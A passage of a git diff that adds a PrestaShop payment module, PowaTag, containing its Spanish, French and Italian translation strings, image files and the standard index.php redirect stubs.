+$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_97f08a40f22a625d0cbfe03db3349108'] = 'Producto ID'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_dcd320d017d7f3c317bc8b234287bc9f'] = 'Referencia'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_b2d37ae1cedf42ff874289b721860af2'] = 'Registros'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_7ecd779747d06dafaee221f238ed589d'] = 'Activar el registro'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_af555d1ba76534facadfda02cb4dfc32'] = 'Activar la petición del registro'; +$_MODULE['<{powatag}prestashop>adminpowataglogscontroller_c7892ebbb139886662c6f2fc8c450710'] = 'Asunto'; +$_MODULE['<{powatag}prestashop>adminpowataglogscontroller_ec53a8c4f07baed5d8825072c89799be'] = 'Status'; +$_MODULE['<{powatag}prestashop>adminpowataglogscontroller_4c2a8fe7eaf24721cc7a9f0175115bd4'] = 'Mensaje'; +$_MODULE['<{powatag}prestashop>adminpowataglogscontroller_44749712dbec183e983dcd78a7736c41'] = 'Fecha'; +$_MODULE['<{powatag}prestashop>confirmation_0958fcb29b03400b76302dd0b596fbdc'] = 'Pedido confirmado'; +$_MODULE['<{powatag}prestashop>confirmation_a305f3e6321cb9eb1f18bf5c87b7031e'] = 'El pedido ha sido creado con éxito'; +$_MODULE['<{powatag}prestashop>confirmation_f270d0f895e1a199348e3551e599a7e5'] = 'Si necesitas ponerte en contacto con la tienda por algo relacionado con el pedido, utiliza la siguiente referencia'; +$_MODULE['<{powatag}prestashop>confirmation_c26f2cf30d8249ad6aec8df5aa74124a'] = 'El estado del pedido es:'; +$_MODULE['<{powatag}prestashop>confirmation_0d2039b495b0b5597c87fb9bb6a5f51e'] = 'Puedes visitar la tienda pinchando'; +$_MODULE['<{powatag}prestashop>confirmation_6c92285fa6d3e827b198d120ea3ac674'] = 'Aquí'; +$_MODULE['<{powatag}prestashop>powatag_configuration_after_ac270e0ae57b00050f2b5ba120b18a18'] = 'Para cualquier duda o pregunta, descárgate nuestro'; +$_MODULE['<{powatag}prestashop>powatag_configuration_after_6a94efad08e2e7aabc153e876e802bab'] = 'http://fe-dev.powaweb.io/pdf/usermanual.pdf'; +$_MODULE['<{powatag}prestashop>powatag_configuration_after_0509dd4c9789b13b11b0bff117733dcd'] = 'Manual de uso'; +$_MODULE['<{powatag}prestashop>powatag_configuration_after_0cba8d49a8a98ef657bc69a557b2706d'] = 'o por email'; +$_MODULE['<{powatag}prestashop>powatag_configuration_after_14e4528f297758292a40b524ece9b6b3'] = 'mail: powatagmerchantsupport@powa.com'; +$_MODULE['<{powatag}prestashop>powatag_configuration_after_40c416816ff65e1a16216f1a2da3d18b'] = 'Consulta PrestaShop'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_c164ac045c418625b802f488348bf1f9'] = 'PowaTag'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_402943003b4d9defc16907111b856cea'] = 'Características PowaTag'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_eae4c1349d155e57ebd1a9a245b0fb32'] = 'Aumenta el ratio de conversión on line y de móvil'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_91f421e886e0ba5b1c0af34d59f7b82f'] = 'Vende en cualquier lugar, en cualquier momento'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_86da54f80878ca6e218a7e406421b8fa'] = 'Compras con un solo clic'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_dcc37a2b01e7801aa3977932c4156471'] = 'Una solución omnicanal que abren nuevos canales de ventas'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_03df362d5faff9da8b9652f02dfda111'] = 'Compromiso, incentivar y premiar la fidelidad del cliente'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_af5cc364997a1cd395df3a8fda09657a'] = 'http://www.youtube.com/embed/tgoLAfQofaA?controls=0&showinfo=0&rel=0'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_20efc8190821a61d58d97c83049401cc'] = 'Para más información'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_6a94efad08e2e7aabc153e876e802bab'] = 'v.powaweb.io/pdf/manual de usuario'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_0dd9fefe4bff9426aa6dd15c0584d627'] = 'Haz clic aquí para descargarte el manual de usuario de PowaTag'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_9c888c824690ff560b1687b38717cf23'] = 'La libertad de compra es conocer la experiencia de tus clientes'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_577fbd7945527a7b0fa3a9e476745fc5'] = 'PowaTag  es una solución  realmente interesante  para los negocios a través del  móvil  que integra perfectamente la experiencia de la compra física y la online.  Además,  transformará el futuro de los hábitos de compras y de tu negocio.'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_920da8ddc3c22ea3851c9340c33e2d85'] = 'Como el eslabón que falta en el retail,  PowaTag combina la satisfacción  instantánea de la experiencia real  de compra  con la rapidez, la comodidad, y el carácter  informativo de la venta  online.'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_d35794e5cd4be0b9122cd72555752ff3'] = 'PowaTag actúa como un facilitador de pagos desde el móvil, integrando directamente con la plataforma de PrestaShop y las infraestructuras de pago ya existentes.'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_fe6e051c947bc1d83dc517c40e77e211'] = 'Las ventajas de PowaTag'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_1abebfaa4e85e8e543aa4e4915b0556c'] = 'Ofrecer una experiencia innovadora a los consumidores a través de todos los canales de compra'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_2c81c0a4b7aea4e294d8107a5511f887'] = 'Permite a los clientes comprar directamente desde las páginas de productos'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_e416e30c539b333f32fea0d8a43aed48'] = 'Permita a los clientes descargar el catálogo de productos  y comprar  durante el tiempo libre desde el  móvil'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_b1754d32d5ee8d0cc66ada82f252e249'] = 'Vive la experiencia de una solución omni-canal que verdaderamente abre nuevos canales de ventas, que genera nuevos ingresos'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_e2477c3fa77712a6afd77d301c9a20a3'] = 'Venta directa e instantánea de la publicidad online, audiovisual e impresa'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_66ed003633283ca1b951be9e452b6cb9'] = 'Interactuar con los clientes, enganchar, incentivar, premiar la fidelidad y generar acción'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_241373fa154f2de622a7da1a4d039e53'] = 'Guiar y apoyar las compras por impulso, simplificando la experiencia de compra dentro de los flujos del e-commerce ya existentes.'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_31c7b87204d32cfd398ad981c1239d41'] = 'http://www.powatag.com/page/prestashop_es'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_ea57e8af0c6f5bc38e2b544d8294dbb6'] = 'http://www.powatag.com/page/prestashop_es#selectedText'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_c00fde11f32c833a28ae11fc2946effe'] = 'Regístrate ahora'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_0ec0305a18fce08b3072b1b46798ff6f'] = '¿Preguntas?'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_f77ac1dfc7cf26a6b01b360d2a1107a1'] = 'Visita nuestra página web'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_7d9c1812de1eccf1d6b76fdb9a07181d'] = 'http://powatag.com'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_e9722ba4751b57282ba6e3374f1fed04'] = 'powatag.com'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_d00f40e027fbd995c688ae37ae7ac47c'] = 'powatagmerchantsupport@powa.com'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_40c416816ff65e1a16216f1a2da3d18b'] = 'Consultas PrestaShop'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_79c4e0eba4751d82643ba740e8f9ce6d'] = 'Para empezar a realizar transacciones con tus clientes, pásate a una cuenta PowaTag activa por'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_c61908d15e20a46ffb4f79ebd339f106'] = 'Ponte en contacto con nosotros'; diff --git a/modules/powatag/fr.php b/modules/powatag/fr.php new file mode 100644 index 0000000..69d6558 --- /dev/null +++ b/modules/powatag/fr.php @@ -0,0 +1,120 @@ +powatag_c164ac045c418625b802f488348bf1f9'] = 'PowaTag'; +$_MODULE['<{powatag}prestashop>powatag_ba232a8e09c58ddb7cce6e6c2712e459'] = 'PowaTag, la solution de paiement en un seul clic, pour augmenter votre taux de conversion mobile et en ligne !'; +$_MODULE['<{powatag}prestashop>powatag_254f642527b45bc260048e30704edb39'] = 'Configuration'; +$_MODULE['<{powatag}prestashop>powatag_b2d37ae1cedf42ff874289b721860af2'] = 'Logs'; +$_MODULE['<{powatag}prestashop>powatagabstract_d3ec7632d605da9da12880dd25ac1af1'] = 'Devise non trouvée : %s'; +$_MODULE['<{powatag}prestashop>powatagabstract_4c7490ad9d07138986300c3cab26ee84'] = 'Ce produit n\'existe pas : %s'; +$_MODULE['<{powatag}prestashop>powatagabstract_30bee8c9919a19866a702119b87d62f8'] = 'Cette déclinaison n\'existe pas : %s'; +$_MODULE['<{powatag}prestashop>powatagabstract_478f1f7fd9b80a7d3cbd7e00dc1706fa'] = 'Le prix de la déclinaison est différent de celui de la boutique : %s %s != %s'; +$_MODULE['<{powatag}prestashop>powatagabstract_01d8561901fe857fa3fefe4e04b5e4b0'] = 'En rupture de stock'; +$_MODULE['<{powatag}prestashop>powatagabstract_24297a992eeaa67461e0810b574637e7'] = 'Quantité > stock disponible'; +$_MODULE['<{powatag}prestashop>powatagabstract_6ff9e41247f5c3255089a69c47aa4cfc'] = 'Le pays n\'existe pas ou n\'est pas actif sur cette boutique : %s'; +$_MODULE['<{powatag}prestashop>powatagabstract_a281d7379bcf4fb417e0152dc534a0b0'] = 'Le transporteur ne livre pas : %s'; +$_MODULE['<{powatag}prestashop>powatagabstract_b4d6c48294e4b66bd0cbd55d70e645c7'] = 'Le transporteur n\'est pas actif : %s'; +$_MODULE['<{powatag}prestashop>powatagabstract_e011198578b1ae960342b303d3d5c2b2'] = 'Le transporteur ne délivre pas pour cette Zone : %s'; +$_MODULE['<{powatag}prestashop>powatagabstract_3b81f574e1cfb038c32361cc1431e468'] = 'Ce pays n\'est pas actif : %s'; +$_MODULE['<{powatag}prestashop>powatagabstract_ae7bdef7fe2bbbbf02c11e92c5fceb40'] = 'Mon adresse'; +$_MODULE['<{powatag}prestashop>powatagabstract_d6106a1a6739dae160e5405d29cc2515'] = 'Ne peut pas être livré avec ce transporteur'; +$_MODULE['<{powatag}prestashop>powatagorders_ae7bdef7fe2bbbbf02c11e92c5fceb40'] = 'Mon adresse'; +$_MODULE['<{powatag}prestashop>powatagorders_28dc8144703a06441d53f75f43ef2e02'] = 'Le montant total n\'est pas identique à la somme des autres totaux : %s != %s'; +$_MODULE['<{powatag}prestashop>powatagorders_86b20dbaccb5bf057a36efecb62a8b46'] = 'Le sous-total n\'est pas correct : %s != %s'; +$_MODULE['<{powatag}prestashop>powatagorders_7b9f2e8e6fae51b7be5ad8760c6f5aa0'] = 'Erreur avec les frais de transports : %s'; +$_MODULE['<{powatag}prestashop>powatagorders_c5b67a8f795189ab70cc416e3ab3c260'] = 'Les frais de ports ne sont pas corrects : %s != %s'; +$_MODULE['<{powatag}prestashop>powatagorders_e372d89f8f97be9e67f77cf3bcd4a705'] = 'Les taxes ne sont pas correctes : %s != %s'; +$_MODULE['<{powatag}prestashop>powatagorders_4c7490ad9d07138986300c3cab26ee84'] = 'Ce produit n\'existe pas : %s'; +$_MODULE['<{powatag}prestashop>powatagorders_d3ec7632d605da9da12880dd25ac1af1'] = 'Cette devise n\'existe pas : %s'; +$_MODULE['<{powatag}prestashop>powatagorders_30bee8c9919a19866a702119b87d62f8'] = 'Cette déclinaison n\'existe pas : %s'; +$_MODULE['<{powatag}prestashop>powatagorders_01d8561901fe857fa3fefe4e04b5e4b0'] = 'En rupture de stock'; +$_MODULE['<{powatag}prestashop>powatagorders_24297a992eeaa67461e0810b574637e7'] = 'Quantité > stock disponible'; +$_MODULE['<{powatag}prestashop>powatagorders_7c404c6dc9d5101160daedc54bb07f94'] = 'Quantité < à la quantité minimale de produits'; +$_MODULE['<{powatag}prestashop>powatagpayment_7e1f29db22516a463851d83869df888d'] = 'Le panier suivant n\'existe pas : %s'; +$_MODULE['<{powatag}prestashop>powatagpayment_61e2a09916061f758bc138cc06ec2fc1'] = 'Le panier est déjà associé à la commande suivante : %s'; +$_MODULE['<{powatag}prestashop>powatagpayment_ed87c7d12f5fc7a8d37ae428129cc972'] = 'Ce client n\'existe pas : %s'; +$_MODULE['<{powatag}prestashop>powatagpayment_42ce4411cce8bc80e8cb34facb207af1'] = 'Les informations envoyés dans la requête ne sont pas identiques à celles sauvées : %s != %s'; +$_MODULE['<{powatag}prestashop>powatagpayment_87ec24c2297667f006fd93f366bf5731'] = 'Pas de transaction trouvée pour, Panier : %s, Appareil : %s, IP : %s'; +$_MODULE['<{powatag}prestashop>powatagpayment_b80452c7eecae1e25698a9d048f0cdf7'] = 'Trop de transactions trouvées pour, Panier : %s, Appareil : %s, IP : %s'; +$_MODULE['<{powatag}prestashop>powatagpayment_898245a24e6e82c984bd0b608c5a2df9'] = 'Cette devise n\'est pas active : %s'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_cec2ab5f5e872165e2fadfe47ad6caf5'] = 'Options de l\'API'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_d876ff8da67c3731ae25d8335a4168b4'] = 'Clé API'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_5e6272bf893cb3e9b30325de7680b50f'] = 'HMAC'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_aa73b594a1643685059a18052c47240b'] = 'URL Endpoint Powatag'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_75498e1de8ec9cc2a0bff6a88559e203'] = 'Entête d\'URL JavaScript'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_6271949874757bc88acf8ec10392b66f'] = 'Entête d\'URL CSS'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_a8ad8ed0d7a57bafaf4fa86fda0dd87f'] = 'Autres options'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_49ffd9480effff979143d2e8d38931c4'] = 'Méthode de livraison'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_814f3c633592e84c3306559ad32ef13f'] = 'Cela sera utilisé pour calculer les frais de transport'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_d62da80ff71a1c32b8d2fcb20c0cb590'] = 'Message de succès'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_64387aaed0905c364b9c99a72f2dc4d6'] = 'Type d\'image'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_3821c92eff2643b0d1ccdce26d2e8e48'] = 'Options de produit'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_28646b1a68c193c494d2545a98244db6'] = 'Activer le QR Code'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_9d7c35eae1f19aeffe139811562785ea'] = 'Position du QR Code'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_7d05de6987fe0d3d6be0587b79fc40f8'] = 'Afficher Colonne de droite du Produit'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_fe9bcf5ddcc758d90dbe308c4f8464a1'] = 'Afficher Colonne de gauche du Produit'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_78f9be9df64534c305e01071626b727b'] = 'Afficher En bas du contenu du Produit'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_79fec8d09ca8a2663db327907a910247'] = 'Afficher Bouton Produit'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_94225f5cdacf7fee6667ca2320fb2f60'] = 'Quel champ de SKU utiliser'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_9441356559f394a164fb218c062062fb'] = 'EAN13 ou JAN'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_fbd99ad01b92dbafc686772a39e3d065'] = 'UPC'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_97f08a40f22a625d0cbfe03db3349108'] = 'Identifiant produit'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_dcd320d017d7f3c317bc8b234287bc9f'] = 'Référence'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_b2d37ae1cedf42ff874289b721860af2'] = 'Journaux'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_7ecd779747d06dafaee221f238ed589d'] = 'Activer le journal applicatif'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_af555d1ba76534facadfda02cb4dfc32'] = 'Activer le journal de requêtes'; +$_MODULE['<{powatag}prestashop>adminpowataglogscontroller_c7892ebbb139886662c6f2fc8c450710'] = 'Sujet'; +$_MODULE['<{powatag}prestashop>adminpowataglogscontroller_ec53a8c4f07baed5d8825072c89799be'] = 'Statut'; +$_MODULE['<{powatag}prestashop>adminpowataglogscontroller_4c2a8fe7eaf24721cc7a9f0175115bd4'] = 'Message'; +$_MODULE['<{powatag}prestashop>adminpowataglogscontroller_44749712dbec183e983dcd78a7736c41'] = 'Date'; +$_MODULE['<{powatag}prestashop>confirmation_0958fcb29b03400b76302dd0b596fbdc'] = 'Commande confirmée'; +$_MODULE['<{powatag}prestashop>confirmation_a305f3e6321cb9eb1f18bf5c87b7031e'] = 'Une commande a été créée avec succès'; +$_MODULE['<{powatag}prestashop>confirmation_f270d0f895e1a199348e3551e599a7e5'] = 'En cas de besoin de contacter le marchand du fait de la commande, merci d\'utiliser la référence suivante'; +$_MODULE['<{powatag}prestashop>confirmation_c26f2cf30d8249ad6aec8df5aa74124a'] = 'Le statut de la commande est:'; +$_MODULE['<{powatag}prestashop>confirmation_0d2039b495b0b5597c87fb9bb6a5f51e'] = 'Vous pouvez visiter la boutique en cliquant'; +$_MODULE['<{powatag}prestashop>confirmation_6c92285fa6d3e827b198d120ea3ac674'] = 'Ici'; +$_MODULE['<{powatag}prestashop>error_840e8d20484ff502ee269c0c1300f3f1'] = 'Erreur '; +$_MODULE['<{powatag}prestashop>error_a0cf19753cf8fe49411fd29aa784c00c'] = 'Vous ne pouvez pas voir les détails de cette commande'; +$_MODULE['<{powatag}prestashop>error_9d680c117d486f9800a2976a8b05396e'] = 'Afin d\'accéder aux détails, merci de vous connecter'; +$_MODULE['<{powatag}prestashop>powatag_configuration_after_ac270e0ae57b00050f2b5ba120b18a18'] = 'Si vous avez des difficultés ou des questions, merci de télécharger sur'; +$_MODULE['<{powatag}prestashop>powatag_configuration_after_6a94efad08e2e7aabc153e876e802bab'] = 'http://fe-dev.powaweb.io/pdf/usermanual.pdf'; +$_MODULE['<{powatag}prestashop>powatag_configuration_after_0509dd4c9789b13b11b0bff117733dcd'] = 'Manuel utilisateur'; +$_MODULE['<{powatag}prestashop>powatag_configuration_after_0cba8d49a8a98ef657bc69a557b2706d'] = 'ou email'; +$_MODULE['<{powatag}prestashop>powatag_configuration_after_14e4528f297758292a40b524ece9b6b3'] = 'mailto:powatagmerchantsupport@powa.com'; +$_MODULE['<{powatag}prestashop>powatag_configuration_after_40c416816ff65e1a16216f1a2da3d18b'] = 'PrestaShop Enquiry'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_c164ac045c418625b802f488348bf1f9'] = 'PowaTag'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_402943003b4d9defc16907111b856cea'] = 'Caractéristiques PowaTag'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_eae4c1349d155e57ebd1a9a245b0fb32'] = 'Augmente les taux de conversion mobile & online'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_91f421e886e0ba5b1c0af34d59f7b82f'] = 'Vendre partout, à n\'importe quelle heure'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_86da54f80878ca6e218a7e406421b8fa'] = 'Permet l\'achat en un clic'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_dcc37a2b01e7801aa3977932c4156471'] = 'Solution omnicanal qui permet de nouveaux canaux de vente'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_03df362d5faff9da8b9652f02dfda111'] = 'implique, stimule et récompense la fidélité des consommateurs'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_af5cc364997a1cd395df3a8fda09657a'] = 'http://www.youtube.com/embed/toNk4jVnJC4?controls=0&showinfo=0&rel=1'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_20efc8190821a61d58d97c83049401cc'] = 'Pour plus de support'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_6a94efad08e2e7aabc153e876e802bab'] = 'http://fe-dev.powaweb.io/pdf/usermanual.pdf'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_0dd9fefe4bff9426aa6dd15c0584d627'] = 'Cliquer ici pour télécharger le manuel utilisateur PowaTag'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_9c888c824690ff560b1687b38717cf23'] = 'La liberté commerciale, c\'est de connaitre vos clients'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_577fbd7945527a7b0fa3a9e476745fc5'] = 'PowaTag est une nouvelle solution mobile professionnelle qui réalise l’intégration fluide du monde réel et du monde en ligne pour transformer le futur.'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_920da8ddc3c22ea3851c9340c33e2d85'] = 'Chainon manquant du retail, PowaTag allie la satisfaction instantanée du shopping dans le monde réel à la vitesse, la commodité et la richesse d’information du commerce sur internet.'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_d35794e5cd4be0b9122cd72555752ff3'] = 'PowaTag est un intermédiaire de paiement sur téléphone mobile, s’intégrant directement à la plate-forme PrestaShop et aux infrastructures de paiement existantes'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_fe6e051c947bc1d83dc517c40e77e211'] = 'Les avantages de PowaTag'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_1abebfaa4e85e8e543aa4e4915b0556c'] = 'Offrir une expérience client innovante et fluide, sur tous les canaux d’achat.'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_2c81c0a4b7aea4e294d8107a5511f887'] = 'Permet aux clients d\'acheter en un clic à partir des pages produits'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_e416e30c539b333f32fea0d8a43aed48'] = 'Permettre aux consommateurs de télécharger votre catalogue et de faire leurs achats à leur convenance à partir de leur portable '; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_b1754d32d5ee8d0cc66ada82f252e249'] = 'Découvrir une solution omni-canal qui ouvre vraiment de nouveaux canaux de vente, ce qui se traduit par des revenus supplémentaires pour vous'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_e2477c3fa77712a6afd77d301c9a20a3'] = 'Vendre directement et immédiatement à partir de publicités en ligne, magazines ou sur pistes audio (campagnes de télévision, radio)'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_66ed003633283ca1b951be9e452b6cb9'] = 'Interagir avec les consommateurs : impliquer, stimuler, récompenser la fidélité et pousser à l’action'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_241373fa154f2de622a7da1a4d039e53'] = 'Encourager et favoriser les achats impulsifs, en simplifiant l’expérience d’achat au sein des infrastructures d’e-commerce qui existent déjà'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_31c7b87204d32cfd398ad981c1239d41'] = 'http://www.powatag.com/page/prestashop_fr'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_ea57e8af0c6f5bc38e2b544d8294dbb6'] = 'http://www.powatag.com/page/prestashop_fr#selectedText'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_c00fde11f32c833a28ae11fc2946effe'] = 'Enregistrez vous maintenant'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_0ec0305a18fce08b3072b1b46798ff6f'] = 'Questions?'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_f77ac1dfc7cf26a6b01b360d2a1107a1'] = 'Visitez notre site internet'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_7d9c1812de1eccf1d6b76fdb9a07181d'] = 'http://powatag.com'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_e9722ba4751b57282ba6e3374f1fed04'] = 'powatag.com'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_d00f40e027fbd995c688ae37ae7ac47c'] = 'powatagmerchantsupport@powa.com'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_40c416816ff65e1a16216f1a2da3d18b'] = 'PrestaShop Enquiry'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_79c4e0eba4751d82643ba740e8f9ce6d'] = 'Afin de commencer à vendre à vos clients, passer à un compte live en '; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_c61908d15e20a46ffb4f79ebd339f106'] = 'nous contactant'; diff --git a/modules/powatag/img/index.php b/modules/powatag/img/index.php new file mode 100644 index 0000000..ef35956 --- /dev/null +++ b/modules/powatag/img/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/powatag/img/logo_transparent.png b/modules/powatag/img/logo_transparent.png new file mode 100644 index 0000000..c3dd773 Binary files /dev/null and b/modules/powatag/img/logo_transparent.png differ diff --git a/modules/powatag/img/qr_code.png b/modules/powatag/img/qr_code.png new file mode 100644 index 0000000..41a84aa Binary files /dev/null and b/modules/powatag/img/qr_code.png differ diff --git a/modules/powatag/index.php b/modules/powatag/index.php new file mode 100644 index 0000000..ef35956 --- /dev/null +++ b/modules/powatag/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/powatag/it.php b/modules/powatag/it.php new file mode 100644 index 0000000..b60baa2 --- /dev/null +++ b/modules/powatag/it.php @@ -0,0 +1,135 @@ +powatag_c164ac045c418625b802f488348bf1f9'] = 'PowaTag'; +$_MODULE['<{powatag}prestashop>powatag_ba232a8e09c58ddb7cce6e6c2712e459'] = 'PowaTag, la soluzione di pagamento con un solo tocco che aumenta le vostre conversioni online e mobili'; +$_MODULE['<{powatag}prestashop>powatag_254f642527b45bc260048e30704edb39'] = 'Configurazione'; +$_MODULE['<{powatag}prestashop>powatag_b2d37ae1cedf42ff874289b721860af2'] = 'Registri'; +$_MODULE['<{powatag}prestashop>powatagabstract_d3ec7632d605da9da12880dd25ac1af1'] = 'Valuta non trovata: %s'; +$_MODULE['<{powatag}prestashop>powatagabstract_4c7490ad9d07138986300c3cab26ee84'] = 'Questo prodotto non esiste: %s'; +$_MODULE['<{powatag}prestashop>powatagabstract_30bee8c9919a19866a702119b87d62f8'] = 'Questa variante non esiste: %s'; +$_MODULE['<{powatag}prestashop>powatagabstract_478f1f7fd9b80a7d3cbd7e00dc1706fa'] = 'Il prezzo della variante è diverso dal prezzo in negozio: %s %s != %s'; +$_MODULE['<{powatag}prestashop>powatagabstract_01d8561901fe857fa3fefe4e04b5e4b0'] = 'Non disponibile in magazzino'; +$_MODULE['<{powatag}prestashop>powatagabstract_24297a992eeaa67461e0810b574637e7'] = 'Quantità > Stock disponibile'; +$_MODULE['<{powatag}prestashop>powatagabstract_6ff9e41247f5c3255089a69c47aa4cfc'] = 'il paese non esiste o non è abilitato per questo negozio: %s'; +$_MODULE['<{powatag}prestashop>powatagabstract_429212ea1201af01ff021165946385ba'] = 'Impossible salvare cliente'; +$_MODULE['<{powatag}prestashop>powatagabstract_5dd103844b52d1f425bed1e36b4d274b'] = 'Errore dal trasportatore del carico'; +$_MODULE['<{powatag}prestashop>powatagabstract_b194e80add2c0e40e957580505a21d10'] = 'Indicare paese o identificare zona'; +$_MODULE['<{powatag}prestashop>powatagabstract_9002478c3f110e52771e97cb35451b7a'] = 'il paese non esiste o non è attivo'; +$_MODULE['<{powatag}prestashop>powatagabstract_a281d7379bcf4fb417e0152dc534a0b0'] = 'Il trasportatore non consegna in: %s'; +$_MODULE['<{powatag}prestashop>powatagabstract_b4d6c48294e4b66bd0cbd55d70e645c7'] = 'Il trasportatore non è attivo: %s'; 